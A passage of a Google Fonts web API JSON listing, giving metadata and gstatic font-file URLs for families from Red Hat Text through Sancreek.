"http://fonts.gstatic.com/s/redhattext/v2/RrQIbohi_ic6B3yVSzGBrMxYm4QIG-eFNVmULg.ttf", "700": "http://fonts.gstatic.com/s/redhattext/v2/RrQIbohi_ic6B3yVSzGBrMxY04IIG-eFNVmULg.ttf", "regular": "http://fonts.gstatic.com/s/redhattext/v2/RrQXbohi_ic6B3yVSzGBrMxgb60sE8yZPA.ttf", "italic": "http://fonts.gstatic.com/s/redhattext/v2/RrQJbohi_ic6B3yVSzGBrMxQbacoMcmJPECN.ttf", "500italic": "http://fonts.gstatic.com/s/redhattext/v2/RrQKbohi_ic6B3yVSzGBrMxQbZ_cGO2BF1yELmgy.ttf", "700italic": "http://fonts.gstatic.com/s/redhattext/v2/RrQKbohi_ic6B3yVSzGBrMxQbZ-UHu2BF1yELmgy.ttf" } }, { "kind": "webfonts#webfont", "family": "Redressed", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/redressed/v10/x3dickHUbrmJ7wMy9MsBfPACvy_1BA.ttf" } }, { "kind": "webfonts#webfont", "family": "Reem Kufi", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "arabic", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/reemkufi/v7/2sDcZGJLip7W2J7v7wQDb2-4C7wFZQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Reenie Beanie", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/reeniebeanie/v10/z7NSdR76eDkaJKZJFkkjuvWxbP2_qoOgf_w.ttf" } }, { "kind": "webfonts#webfont", "family": "Revalia", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/revalia/v7/WwkexPimBE2-4ZPEeVruNIgJSNM.ttf" } }, { "kind": "webfonts#webfont", "family": "Rhodium Libre", "category": "serif", "variants": [ "regular" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rhodiumlibre/v4/1q2AY5adA0tn_ukeHcQHqpx6pETLeo2gm2U.ttf" } }, { "kind": "webfonts#webfont", "family": "Ribeye", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ribeye/v8/L0x8DFMxk1MP9R3RvPCmRSlUig.ttf" } }, { "kind": "webfonts#webfont", "family": "Ribeye Marrow", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ribeyemarrow/v9/GFDsWApshnqMRO2JdtRZ2d0vEAwTVWgKdtw.ttf" } }, { "kind": "webfonts#webfont", "family": "Righteous", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/righteous/v8/1cXxaUPXBpj2rGoU7C9mj3uEicG01A.ttf" } }, { "kind": "webfonts#webfont", "family": "Risque", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/risque/v7/VdGfAZUfHosahXxoCUYVBJ-T5g.ttf" } }, { "kind": "webfonts#webfont", "family": "Roboto", "category": "sans-serif", "variants": [ "100", "100italic", "300", "300italic", "regular", "italic", "500", "500italic", "700", "700italic", "900", "900italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "latin", "latin-ext", "vietnamese" ], "version": "v20", "lastModified": "2019-07-24", "files": { "100": "http://fonts.gstatic.com/s/roboto/v20/KFOkCnqEu92Fr1MmgWxPKTM1K9nz.ttf", "300": "http://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmSU5vAx05IsDqlA.ttf", "500": "http://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmEU9vAx05IsDqlA.ttf", "700": "http://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmWUlvAx05IsDqlA.ttf", "900": "http://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmYUtvAx05IsDqlA.ttf", "100italic": "http://fonts.gstatic.com/s/roboto/v20/KFOiCnqEu92Fr1Mu51QrIzcXLsnzjYk.ttf", "300italic": "http://fonts.gstatic.com/s/roboto/v20/KFOjCnqEu92Fr1Mu51TjARc9AMX6lJBP.ttf", "regular": "http://fonts.gstatic.com/s/roboto/v20/KFOmCnqEu92Fr1Me5WZLCzYlKw.ttf", "italic": "http://fonts.gstatic.com/s/roboto/v20/KFOkCnqEu92Fr1Mu52xPKTM1K9nz.ttf", "500italic": "http://fonts.gstatic.com/s/roboto/v20/KFOjCnqEu92Fr1Mu51S7ABc9AMX6lJBP.ttf", "700italic": "http://fonts.gstatic.com/s/roboto/v20/KFOjCnqEu92Fr1Mu51TzBhc9AMX6lJBP.ttf", "900italic": "http://fonts.gstatic.com/s/roboto/v20/KFOjCnqEu92Fr1Mu51TLBBc9AMX6lJBP.ttf" } }, { "kind": "webfonts#webfont", "family": "Roboto Condensed", "category": "sans-serif", "variants": [ "300", "300italic", "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "latin", "latin-ext", "vietnamese" ], "version": "v18", "lastModified": "2019-07-23", "files": { "300": "http://fonts.gstatic.com/s/robotocondensed/v18/ieVi2ZhZI2eCN5jzbjEETS9weq8-33mZKCMSbvtdYyQ.ttf", "700": "http://fonts.gstatic.com/s/robotocondensed/v18/ieVi2ZhZI2eCN5jzbjEETS9weq8-32meKCMSbvtdYyQ.ttf", "300italic": "http://fonts.gstatic.com/s/robotocondensed/v18/ieVg2ZhZI2eCN5jzbjEETS9weq8-19eDpCEYatlYcyRi4A.ttf", "regular": "http://fonts.gstatic.com/s/robotocondensed/v18/ieVl2ZhZI2eCN5jzbjEETS9weq8-59WxDCs5cvI.ttf", "italic": "http://fonts.gstatic.com/s/robotocondensed/v18/ieVj2ZhZI2eCN5jzbjEETS9weq8-19e7CAk8YvJEeg.ttf", "700italic": "http://fonts.gstatic.com/s/robotocondensed/v18/ieVg2ZhZI2eCN5jzbjEETS9weq8-19eDtCYYatlYcyRi4A.ttf" } }, { "kind": "webfonts#webfont", "family": "Roboto Mono", "category": "monospace", "variants": [ "100", "100italic", "300", "300italic", "regular", "italic", "500", "500italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "latin", "latin-ext", "vietnamese" ], "version": "v7", "lastModified": "2019-07-22", "files": { "100": "http://fonts.gstatic.com/s/robotomono/v7/L0x7DF4xlVMF-BfR8bXMIjAoq3qcW7KCG1w.ttf", "300": "http://fonts.gstatic.com/s/robotomono/v7/L0xkDF4xlVMF-BfR8bXMIjDgiVq2db6LAkU-.ttf", "500": "http://fonts.gstatic.com/s/robotomono/v7/L0xkDF4xlVMF-BfR8bXMIjC4iFq2db6LAkU-.ttf", "700": "http://fonts.gstatic.com/s/robotomono/v7/L0xkDF4xlVMF-BfR8bXMIjDwjlq2db6LAkU-.ttf", "100italic": "http://fonts.gstatic.com/s/robotomono/v7/L0xlDF4xlVMF-BfR8bXMIjhOkx6WX5CHC1wnFw.ttf", "300italic": "http://fonts.gstatic.com/s/robotomono/v7/L0xmDF4xlVMF-BfR8bXMIjhOk9a0f7qpB1U-Drg.ttf", "regular": "http://fonts.gstatic.com/s/robotomono/v7/L0x5DF4xlVMF-BfR8bXMIghMoX6-XqKC.ttf", "italic": "http://fonts.gstatic.com/s/robotomono/v7/L0x7DF4xlVMF-BfR8bXMIjhOq3qcW7KCG1w.ttf", "500italic": "http://fonts.gstatic.com/s/robotomono/v7/L0xmDF4xlVMF-BfR8bXMIjhOk461f7qpB1U-Drg.ttf", "700italic": "http://fonts.gstatic.com/s/robotomono/v7/L0xmDF4xlVMF-BfR8bXMIjhOk8azf7qpB1U-Drg.ttf" } }, { "kind": "webfonts#webfont", "family": "Roboto Slab", "category": "serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "latin", "latin-ext", "vietnamese" ], "version": "v11", "lastModified": "2020-02-05", "files": { "100": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjojIWWaG5iddG-1A.ttf", "200": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoDISWaG5iddG-1A.ttf", "300": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjo0oSWaG5iddG-1A.ttf", "500": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjovoSWaG5iddG-1A.ttf", "600": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoUoOWaG5iddG-1A.ttf", "700": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoa4OWaG5iddG-1A.ttf", "800": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoDIOWaG5iddG-1A.ttf", "900": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoJYOWaG5iddG-1A.ttf", "regular": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjojISWaG5iddG-1A.ttf" } }, { "kind": "webfonts#webfont", "family": "Rochester", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rochester/v10/6ae-4KCqVa4Zy6Fif-Uy31vWNTMwoQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Rock Salt", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rocksalt/v10/MwQ0bhv11fWD6QsAVOZbsEk7hbBWrA.ttf" } }, { "kind": "webfonts#webfont", "family": "Rokkitt", "category": "serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v18", "lastModified": "2020-02-05", "files": { "100": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1rydpDLE76HvN6n.ttf", "200": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1pyd5DLE76HvN6n.ttf", "300": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1qsd5DLE76HvN6n.ttf", "500": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1rAd5DLE76HvN6n.ttf", "600": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1oscJDLE76HvN6n.ttf", "700": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1oVcJDLE76HvN6n.ttf", "800": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1pycJDLE76HvN6n.ttf", "900": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1pbcJDLE76HvN6n.ttf", "regular": "http://fonts.gstatic.com/s/rokkitt/v18/qFdb35qfgYFjGy5hukqqhw5XeRgdi1ryd5DLE76HvN6n.ttf" } }, { "kind": "webfonts#webfont", "family": "Romanesco", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/romanesco/v8/w8gYH2ozQOY7_r_J7mSn3HwLqOqSBg.ttf" } }, { "kind": "webfonts#webfont", "family": "Ropa Sans", "category": "sans-serif", "variants": [ "regular", "italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/ropasans/v9/EYqxmaNOzLlWtsZSScyKWjloU5KP2g.ttf", "italic": "http://fonts.gstatic.com/s/ropasans/v9/EYq3maNOzLlWtsZSScy6WDNscZef2mNE.ttf" } }, { "kind": "webfonts#webfont", "family": "Rosario", "category": "sans-serif", "variants": [ "300", "regular", "500", "600", "700", "300italic", "italic", "500italic", "600italic", "700italic" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v17", "lastModified": "2020-02-05", "files": { "300": "http://fonts.gstatic.com/s/rosario/v17/xfuu0WDhWW_fOEoY8l_VPNZfB7jPM69GCWczd-YnOzUD.ttf", "500": "http://fonts.gstatic.com/s/rosario/v17/xfuu0WDhWW_fOEoY8l_VPNZfB7jPM68qCWczd-YnOzUD.ttf", "600": "http://fonts.gstatic.com/s/rosario/v17/xfuu0WDhWW_fOEoY8l_VPNZfB7jPM6_GDmczd-YnOzUD.ttf", "700": "http://fonts.gstatic.com/s/rosario/v17/xfuu0WDhWW_fOEoY8l_VPNZfB7jPM6__Dmczd-YnOzUD.ttf", "regular": "http://fonts.gstatic.com/s/rosario/v17/xfuu0WDhWW_fOEoY8l_VPNZfB7jPM68YCWczd-YnOzUD.ttf", "300italic": "http://fonts.gstatic.com/s/rosario/v17/xfug0WDhWW_fOEoY2Fbnww42bCJhNLrQStFwfeIFPiUDn08.ttf", "italic": "http://fonts.gstatic.com/s/rosario/v17/xfug0WDhWW_fOEoY2Fbnww42bCJhNLrQSo9wfeIFPiUDn08.ttf", "500italic": "http://fonts.gstatic.com/s/rosario/v17/xfug0WDhWW_fOEoY2Fbnww42bCJhNLrQSr1wfeIFPiUDn08.ttf", "600italic": "http://fonts.gstatic.com/s/rosario/v17/xfug0WDhWW_fOEoY2Fbnww42bCJhNLrQSlF3feIFPiUDn08.ttf", "700italic": "http://fonts.gstatic.com/s/rosario/v17/xfug0WDhWW_fOEoY2Fbnww42bCJhNLrQSmh3feIFPiUDn08.ttf" } }, { "kind": "webfonts#webfont", "family": "Rosarivo", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rosarivo/v7/PlI-Fl2lO6N9f8HaNAeC2nhMnNy5.ttf", "italic": "http://fonts.gstatic.com/s/rosarivo/v7/PlI4Fl2lO6N9f8HaNDeA0Hxumcy5ZX8.ttf" } }, { "kind": "webfonts#webfont", "family": "Rouge Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rougescript/v8/LYjFdGbiklMoCIQOw1Ep3S4PVPXbUJWq9g.ttf" } }, { "kind": "webfonts#webfont", "family": "Rozha One", "category": "serif", "variants": [ "regular" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rozhaone/v7/AlZy_zVFtYP12Zncg2khdXf4XB0Tow.ttf" } }, { "kind": "webfonts#webfont", "family": "Rubik", "category": "sans-serif", "variants": [ "300", "300italic", "regular", "italic", "500", "500italic", "700", "700italic", "900", "900italic" ], "subsets": [ "cyrillic", "hebrew", "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-22", "files": { "300": "http://fonts.gstatic.com/s/rubik/v9/iJWHBXyIfDnIV7Fqj1ma-2HW7ZB_.ttf", "500": "http://fonts.gstatic.com/s/rubik/v9/iJWHBXyIfDnIV7Eyjlma-2HW7ZB_.ttf", "700": "http://fonts.gstatic.com/s/rubik/v9/iJWHBXyIfDnIV7F6iFma-2HW7ZB_.ttf", "900": "http://fonts.gstatic.com/s/rubik/v9/iJWHBXyIfDnIV7FCilma-2HW7ZB_.ttf", "300italic": "http://fonts.gstatic.com/s/rubik/v9/iJWBBXyIfDnIV7nEldWY8WX06IB_18o.ttf", "regular": "http://fonts.gstatic.com/s/rubik/v9/iJWKBXyIfDnIV4nGp32S0H3f.ttf", "italic": "http://fonts.gstatic.com/s/rubik/v9/iJWEBXyIfDnIV7nErXmw1W3f9Ik.ttf", "500italic": "http://fonts.gstatic.com/s/rubik/v9/iJWBBXyIfDnIV7nElY2Z8WX06IB_18o.ttf", "700italic": "http://fonts.gstatic.com/s/rubik/v9/iJWBBXyIfDnIV7nElcWf8WX06IB_18o.ttf", "900italic": "http://fonts.gstatic.com/s/rubik/v9/iJWBBXyIfDnIV7nElf2d8WX06IB_18o.ttf" } }, { "kind": "webfonts#webfont", "family": "Rubik Mono One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rubikmonoone/v8/UqyJK8kPP3hjw6ANTdfRk9YSN-8wRqQrc_j9.ttf" } }, { "kind": "webfonts#webfont", "family": "Ruda", "category": "sans-serif", "variants": [ "regular", "500", "600", "700", "800", "900" ], "subsets": [ "cyrillic", "latin", "latin-ext", "vietnamese" ], "version": "v12", "lastModified": "2020-02-25", "files": { "500": "http://fonts.gstatic.com/s/ruda/v12/k3kKo8YQJOpFgHQ1mQ5VkEbUKaJ3si_-2KiSGg-H.ttf", "600": "http://fonts.gstatic.com/s/ruda/v12/k3kKo8YQJOpFgHQ1mQ5VkEbUKaKbtS_-2KiSGg-H.ttf", "700": "http://fonts.gstatic.com/s/ruda/v12/k3kKo8YQJOpFgHQ1mQ5VkEbUKaKitS_-2KiSGg-H.ttf", "800": "http://fonts.gstatic.com/s/ruda/v12/k3kKo8YQJOpFgHQ1mQ5VkEbUKaLFtS_-2KiSGg-H.ttf", "900": "http://fonts.gstatic.com/s/ruda/v12/k3kKo8YQJOpFgHQ1mQ5VkEbUKaLstS_-2KiSGg-H.ttf", "regular": "http://fonts.gstatic.com/s/ruda/v12/k3kKo8YQJOpFgHQ1mQ5VkEbUKaJFsi_-2KiSGg-H.ttf" } }, { "kind": "webfonts#webfont", "family": "Rufina", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/rufina/v7/Yq6W-LyURyLy-aKKHztAvMxenxE0SA.ttf", "regular": "http://fonts.gstatic.com/s/rufina/v7/Yq6V-LyURyLy-aKyoxRktOdClg.ttf" } }, { "kind": "webfonts#webfont", "family": "Ruge Boogie", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rugeboogie/v10/JIA3UVFwbHRF_GIWSMhKNROiPzUveSxy.ttf" } }, { "kind": "webfonts#webfont", "family": "Ruluko", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ruluko/v7/xMQVuFNZVaODtm0pC6WzKX_QmA.ttf" } }, { "kind": "webfonts#webfont", "family": "Rum Raisin", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rumraisin/v7/nwpRtKu3Ih8D5avB4h2uJ3-IywA7eMM.ttf" } }, { "kind": "webfonts#webfont", "family": "Ruslan Display", "category": "display", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ruslandisplay/v10/Gw6jwczl81XcIZuckK_e3UpfdzxrldyFvm1n.ttf" } }, { "kind": "webfonts#webfont", "family": "Russo One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/russoone/v8/Z9XUDmZRWg6M1LvRYsH-yMOInrib9Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Ruthie", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ruthie/v10/gokvH63sGkdqXuU9lD53Q2u_mQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Rye", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rye/v7/r05XGLJT86YDFpTsXOqx4w.ttf" } }, { "kind": "webfonts#webfont", "family": "Sacramento", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sacramento/v7/buEzpo6gcdjy0EiZMBUG0CoV_NxLeiw.ttf" } }, { "kind": "webfonts#webfont", "family": "Sahitya", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "devanagari", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/sahitya/v4/6qLFKZkOuhnuqlJAUZsqGyQvEnvSexI.ttf", "regular": "http://fonts.gstatic.com/s/sahitya/v4/6qLAKZkOuhnuqlJAaScFPywEDnI.ttf" } }, { "kind": "webfonts#webfont", "family": "Sail", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sail/v10/DPEjYwiBxwYJFBTDADYAbvw.ttf" } }, { "kind": "webfonts#webfont", "family": "Saira", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v4", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/saira/v4/mem-Ya2wxmKQyNFETZY_VrUfTck.ttf", "200": "http://fonts.gstatic.com/s/saira/v4/mem9Ya2wxmKQyNHobLYVeLkWVNBt.ttf", "300": "http://fonts.gstatic.com/s/saira/v4/mem9Ya2wxmKQyNGMb7YVeLkWVNBt.ttf", "500": "http://fonts.gstatic.com/s/saira/v4/mem9Ya2wxmKQyNHUbrYVeLkWVNBt.ttf", "600": "http://fonts.gstatic.com/s/saira/v4/mem9Ya2wxmKQyNH4abYVeLkWVNBt.ttf", "700": "http://fonts.gstatic.com/s/saira/v4/mem9Ya2wxmKQyNGcaLYVeLkWVNBt.ttf", "800": "http://fonts.gstatic.com/s/saira/v4/mem9Ya2wxmKQyNGAa7YVeLkWVNBt.ttf", "900": "http://fonts.gstatic.com/s/saira/v4/mem9Ya2wxmKQyNGkarYVeLkWVNBt.ttf", "regular": "http://fonts.gstatic.com/s/saira/v4/memwYa2wxmKQyOkgR5IdU6Uf.ttf" } }, { "kind": "webfonts#webfont", "family": "Saira Condensed", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v5", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/sairacondensed/v5/EJRMQgErUN8XuHNEtX81i9TmEkrnwetA2omSrzS8.ttf", "200": "http://fonts.gstatic.com/s/sairacondensed/v5/EJRLQgErUN8XuHNEtX81i9TmEkrnbcpg8Keepi2lHw.ttf", "300": "http://fonts.gstatic.com/s/sairacondensed/v5/EJRLQgErUN8XuHNEtX81i9TmEkrnCclg8Keepi2lHw.ttf", "500": "http://fonts.gstatic.com/s/sairacondensed/v5/EJRLQgErUN8XuHNEtX81i9TmEkrnUchg8Keepi2lHw.ttf", "600": "http://fonts.gstatic.com/s/sairacondensed/v5/EJRLQgErUN8XuHNEtX81i9TmEkrnfc9g8Keepi2lHw.ttf", "700": "http://fonts.gstatic.com/s/sairacondensed/v5/EJRLQgErUN8XuHNEtX81i9TmEkrnGc5g8Keepi2lHw.ttf", "800": "http://fonts.gstatic.com/s/sairacondensed/v5/EJRLQgErUN8XuHNEtX81i9TmEkrnBc1g8Keepi2lHw.ttf", "900": "http://fonts.gstatic.com/s/sairacondensed/v5/EJRLQgErUN8XuHNEtX81i9TmEkrnIcxg8Keepi2lHw.ttf", "regular": "http://fonts.gstatic.com/s/sairacondensed/v5/EJROQgErUN8XuHNEtX81i9TmEkrfpeFE-IyCrw.ttf" } }, { "kind": "webfonts#webfont", "family": "Saira Extra Condensed", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v5", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFsOHYr-vcC7h8MklGBkrvmUG9rbpkisrTri0jx9i5ss3a3.ttf", "200": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrJ2nR3ABgum-uoQ.ttf", "300": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrQ2rR3ABgum-uoQ.ttf", "500": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrG2vR3ABgum-uoQ.ttf", "600": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrN2zR3ABgum-uoQ.ttf", "700": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrU23R3ABgum-uoQ.ttf", "800": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrT27R3ABgum-uoQ.ttf", "900": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTra2_R3ABgum-uoQ.ttf", "regular": "http://fonts.gstatic.com/s/sairaextracondensed/v5/-nFiOHYr-vcC7h8MklGBkrvmUG9rbpkisrTT70L11Ct8sw.ttf" } }, { "kind": "webfonts#webfont", "family": "Saira Semi Condensed", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v5", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MN6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXdvaOM8rXT-8V8.ttf", "200": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXfDScMWg3j36Ebz.ttf", "300": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXenSsMWg3j36Ebz.ttf", "500": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXf_S8MWg3j36Ebz.ttf", "600": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXfTTMMWg3j36Ebz.ttf", "700": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXe3TcMWg3j36Ebz.ttf", "800": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXerTsMWg3j36Ebz.ttf", "900": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXePT8MWg3j36Ebz.ttf", "regular": "http://fonts.gstatic.com/s/sairasemicondensed/v5/U9MD6c-2-nnJkHxyCjRcnMHcWVWV1cWRRU8LYuceqGT-.ttf" } }, { "kind": "webfonts#webfont", "family": "Saira Stencil One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/sairastencilone/v1/SLXSc03I6HkvZGJ1GvvipLoYSTEL9AsMawif2YQ2.ttf" } }, { "kind": "webfonts#webfont", "family": "Salsa", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/salsa/v9/gNMKW3FiRpKj-imY8ncKEZez.ttf" } }, { "kind": "webfonts#webfont", "family": "Sanchez", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sanchez/v7/Ycm2sZJORluHnXbITm5b_BwE1l0.ttf", "italic": "http://fonts.gstatic.com/s/sanchez/v7/Ycm0sZJORluHnXbIfmxR-D4Bxl3gkw.ttf" } }, { "kind": "webfonts#webfont", "family": "Sancreek", "category": "display", "variants": [ "regular" ], 